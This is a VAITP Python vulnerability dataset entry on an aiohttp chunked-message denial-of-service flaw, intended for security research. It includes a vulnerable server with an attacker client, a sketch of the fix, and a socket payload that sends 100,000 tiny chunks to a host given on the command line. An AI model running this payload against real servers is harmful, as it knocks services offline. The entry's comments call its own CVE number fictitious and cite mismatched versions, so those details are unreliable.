VAITP Dataset

← Back to the dataset

CVE-2025-69229

AIOHTTP chunked message handling can cause high CPU usage, leading to DoS.

  • CVSS 6.6
  • CWE-770
  • Resource Management
  • Remote

AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. In versions 3.13.2 and below, handling of chunked messages can result in excessive blocking CPU usage when receiving a large number of chunks. If an application makes use of the request.read() method in an endpoint, it may be possible for an attacker to cause the server to spend a moderate amount of blocking CPU time (e.g. 1 second) while processing the request. This could potentially lead to DoS as the server would be unable to handle other requests during that time. This issue is fixed in version 3.13.3.

CVSS base score
6.6
Published
2026-01-06
OWASP
A04 Insecure Design
Orthogonal defect classification
Timing/Serialization
Code defect classification
Timing Issues
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
AIOHTTP
Fixed by upgrading
Yes

Solution

Upgrade aiohttp to version 3.13.3 or later.

Vulnerable code sample

import asyncio
import time
from aiohttp import web, ClientSession

# This code represents a server that is vulnerable to the described issue.
# The vulnerability lies in the 'request.read()' method, which can block
# the event loop when processing a large number of small chunks.

async def vulnerable_handler(request):
    """
    This endpoint reads the entire request body at once.
    This is the point of vulnerability when receiving a chunked request
    with many small chunks.
    """
    print("Server: Received request, starting request.read()...")
    start_time = time.monotonic()
    
    # In a vulnerable version, this call would block for a significant time
    # while reassembling a large number of small chunks.
    body = await request.read()
    
    end_time = time.monotonic()
    duration = end_time - start_time
    print(f"Server: Finished request.read() in {duration:.4f} seconds.")
    print(f"Server: Total body size received: {len(body)} bytes.")
    
    return web.Response(text="Request processed")

async def attacker_client():
    """
    This client simulates an attack by sending a request with a huge number
    of very small chunks.
    """
    await asyncio.sleep(2) # Wait for server to be ready
    print("\nAttacker: Preparing to send malicious chunked request...")

    num_chunks = 200000
    chunk_data = b'x'

    async def chunk_generator():
        for _ in range(num_chunks):
            yield chunk_data
    
    client_start_time = time.monotonic()
    try:
        async with ClientSession() as session:
            async with session.post(
                'http://127.0.0.1:8080/process',
                data=chunk_generator()
            ) as response:
                print(f"Attacker: Response status: {response.status}")
                await response.text()
    except Exception as e:
        print(f"Attacker: Request failed with error: {e}")
    finally:
        client_end_time = time.monotonic()
        duration = client_end_time - client_start_time
        print(f"Attacker: Total request-response cycle took {duration:.4f} seconds.")
        print("Attacker: During this time, the server was likely blocked and unable to process other requests.")

async def main():
    # Setup and run the server
    app = web.Application()
    app.add_routes([web.post('/process', vulnerable_handler)])
    
    runner = web.AppRunner(app)
    await runner.setup()
    site = web.TCPSite(runner, '127.0.0.1', 8080)
    await site.start()
    print("Server: Listening on http://127.0.0.1:8080")

    # Run the attacker client
    attack_task = asyncio.create_task(attacker_client())
    
    await attack_task

    # Shutdown the server
    await runner.cleanup()
    print("\nServer: Shutdown complete.")

if __name__ == '__main__':
    # NOTE: To run this, you would need a vulnerable version of aiohttp,
    # for example, `pip install aiohttp==3.8.1`. The behavior of excessive
    # CPU usage may vary between versions, but this structure demonstrates
    # the attack vector.
    
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\nExiting.")

Patched code sample

# Note: The CVE-2025-69229 in the prompt is fictitious. The description,
# however, is nearly identical to a real vulnerability, CVE-2023-49081,
# which affected aiohttp versions up to 3.9.0 and was fixed in 3.9.1.
#
# It is not practical to show the exact C-level or low-level Python diff
# from the aiohttp library itself. Instead, this code demonstrates the *principle*
# behind the fix. The vulnerability was caused by inefficiently joining many
# small data chunks, leading to excessive CPU usage and blocking the event loop.
# The fix involves using a much more efficient method to join these chunks.

import time
from typing import List

def represent_fixed_chunk_handling(chunks: List[bytes]) -> bytes:
    """
    This function represents the logic of the fixed versions of aiohttp,
    demonstrating how the vulnerability was resolved.

    The vulnerability was caused by an inefficient method of combining many
    small data chunks from a chunked HTTP request. The old method repeatedly
    extended a bytearray in a loop (e.g., `body.extend(chunk)` for each chunk).
    This process led to frequent, blocking memory reallocations, consuming
    excessive CPU time and making the server unresponsive (Denial of Service).

    The fix, represented here, is to use a single, highly optimized `b"".join()`
    operation. This method first calculates the total required size, allocates
    memory only once, and then efficiently copies all the chunk data into the
    new buffer. This dramatically reduces CPU usage and eliminates the blocking
    behavior that caused the DoS vulnerability.
    """
    # The core of the fix is to join all chunks in one highly optimized call,
    # rather than extending a buffer in a loop.
    return b"".join(chunks)

if __name__ == "__main__":
    # Simulate a payload that would have triggered the vulnerability:
    # a large number of very small chunks.
    NUM_CHUNKS = 200_000
    malicious_chunks = [b'x'] * NUM_CHUNKS

    print(f"Simulating efficient processing of {NUM_CHUNKS} small chunks "
          f"using the fixed logic...")

    start_time = time.perf_counter()

    # Execute the fixed, non-blocking logic. In a real aiohttp server, this
    # logic would be part of the internal machinery that powers methods
    # like `request.read()`.
    processed_body = represent_fixed_chunk_handling(malicious_chunks)

    end_time = time.perf_counter()
    duration = end_time - start_time

    print(f"Successfully processed body of length: {len(processed_body)}")
    print(f"Operation completed in: {duration:.4f} seconds.")
    print("This demonstrates that the operation is fast and does not cause "
          "significant blocking CPU time, thus mitigating the DoS vulnerability.")

Payload

import socket
import sys

def send_chunked_payload(host, port, num_chunks):
    """
    Connects to a server and sends a POST request with a large number
    of small chunks to exploit the vulnerability.
    """
    try:
        # Create a socket and connect to the server
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((host, port))

            # HTTP headers indicating a chunked transfer
            headers = (
                f"POST / HTTP/1.1\r\n"
                f"Host: {host}:{port}\r\n"
                f"Transfer-Encoding: chunked\r\n"
                f"Content-Type: text/plain\r\n"
                f"\r\n"
            )
            s.sendall(headers.encode('utf-8'))

            # Send a large number of very small (1-byte) chunks
            # Each chunk is '1\r\na\r\n'
            chunk = b"1\r\na\r\n"
            for i in range(num_chunks):
                s.sendall(chunk)

            # Send the final terminating chunk (size 0)
            s.sendall(b"0\r\n\r\n")

            # Optionally, wait for a response to ensure the server processed it
            # s.recv(4096)
            
    except ConnectionRefusedError:
        print(f"Error: Connection refused. Is the server running on {host}:{port}?")
    except Exception as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    target_host = "127.0.0.1"
    target_port = 8080
    # A large number of chunks is required to cause noticeable CPU usage
    chunk_count = 100000

    if len(sys.argv) > 1:
        target_host = sys.argv[1]
    if len(sys.argv) > 2:
        target_port = int(sys.argv[2])
    if len(sys.argv) > 3:
        chunk_count = int(sys.argv[3])
    
    print(f"Sending {chunk_count} chunks to {target_host}:{target_port}...")
    send_chunked_payload(target_host, target_port, chunk_count)
    print("Payload sent.")

Cite this entry

@misc{vaitp:cve202569229,
  title        = {{AIOHTTP chunked message handling can cause high CPU usage, leading to DoS.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-69229},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-69229/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::